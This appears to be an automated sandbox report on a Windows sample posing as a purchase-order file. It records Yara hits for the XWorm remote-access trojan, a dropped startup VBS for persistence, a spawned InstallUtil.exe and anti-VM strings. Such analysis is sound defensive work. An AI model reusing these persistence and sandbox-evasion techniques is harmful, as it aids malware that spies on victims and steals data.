Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: PO-M4590 LIST ALL.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: PO-M4590 LIST ALL.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: InstallUtil.exe, 00000003.00000002.2585716296.0000000001668000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\InstallUtil.pdbM source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016AF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: PO-M4590 LIST ALL.exe, 00000000.00000002.1488227355.0000000006030000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003DF8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ((.pdb source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdbP source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: PO-M4590 LIST ALL.exe, 00000000.00000002.1488227355.0000000006030000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003DF8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdbllUtil.pdbpdbtil.pdb.30319\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.pdb=[a_ source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2585716296.0000000001668000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: InstallUtil.exe, 00000003.00000002.2585716296.0000000001668000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\exe\InstallUtil.pdba# source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\exe\InstallUtil.pdbk source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.pdb source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016AF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @8o.pdb source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.pdb0/ source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\InstallUtil.pdbpdbtil.pdbe source: InstallUtil.exe, 00000003.00000002.2585716296.0000000001653000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HP,o8C:\Windows\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.PDBl source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.pdb0Hm source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 00000003.00000002.2585716296.0000000001668000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \System.pdb source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ?8oC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: symbols\exe\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016AF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb source: InstallUtil.exe, 00000003.00000002.2585716296.0000000001653000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: PO-M4590 LIST ALL.exe, -.cs	.Net Code: _0001 System.AppDomain.Load(byte[])
Source: TwoDigitYearMax.exe.0.dr, -.cs	.Net Code: _0001 System.AppDomain.Load(byte[])
Source: 0.2.PO-M4590 LIST ALL.exe.3df85d0.5.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.PO-M4590 LIST ALL.exe.3df85d0.5.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.PO-M4590 LIST ALL.exe.3df85d0.5.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.PO-M4590 LIST ALL.exe.3d3a350.6.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.PO-M4590 LIST ALL.exe.3d3a350.6.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.PO-M4590 LIST ALL.exe.3d3a350.6.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.PO-M4590 LIST ALL.exe.3d3a350.6.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.PO-M4590 LIST ALL.exe.3d3a350.6.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.PO-M4590 LIST ALL.exe.3da85b0.0.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.PO-M4590 LIST ALL.exe.3da85b0.0.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.PO-M4590 LIST ALL.exe.3da85b0.0.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.PO-M4590 LIST ALL.exe.5fb0000.12.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.PO-M4590 LIST ALL.exe.5fb0000.12.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.PO-M4590 LIST ALL.exe.5fb0000.12.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.PO-M4590 LIST ALL.exe.5fb0000.12.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.PO-M4590 LIST ALL.exe.5fb0000.12.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.PO-M4590 LIST ALL.exe.5ed0000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO-M4590 LIST ALL.exe.5ed0000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO-M4590 LIST ALL.exe.3bd9dca.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO-M4590 LIST ALL.exe.3bd9dca.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO-M4590 LIST ALL.exe.3b99daa.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO-M4590 LIST ALL.exe.3b79d8a.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1487442486.0000000005ED0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1483123591.0000000003B78000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1475477883.0000000002B9E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO-M4590 LIST ALL.exe PID: 8668, type: MEMORYSTR

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Code function: 0_2_00E79F75 push ebx; ret		0_2_00E79F82
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Code function: 0_2_066E35B1 push ecx; retf		0_2_066E35B8

Source: 0.2.PO-M4590 LIST ALL.exe.5a00000.9.raw.unpack, USHWqdUTBiCDvIdTCrg.cs

High entropy of concatenated method names: 'yFhUE7SPdG', 'uGwUqVN0Ey', 'J50UoPIn2p', 'yoZUyAeTjd', 'JtTUnT9fog', 'ePrUMUeU5i', 't4qUZoZ9Ou', 'Mr5UrDusEr', 'smxULZ9G3g', 'VIRUfxY2qh'

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe

File created: C:\Users\user\AppData\Roaming\TwoDigitYearMax.exe

Jump to dropped file

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TwoDigitYearMax.vbs

Jump to dropped file

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TwoDigitYearMax.vbs

Jump to behavior

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TwoDigitYearMax.vbs

Jump to behavior

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: PO-M4590 LIST ALL.exe PID: 8668, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1475477883.0000000002B9E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Memory allocated: E30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Memory allocated: 2B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Memory allocated: 1130000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 1530000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 3230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 5230000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1472952888.0000000000C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllm
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1475477883.0000000002B9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1475477883.0000000002B9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"

Jump to behavior

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Queries volume information: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 00000003.00000002.2586339554.0000000003231000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8952, type: MEMORYSTR

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 00000003.00000002.2586339554.0000000003231000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8952, type: MEMORYSTR

Mitre Att&ck Matrix

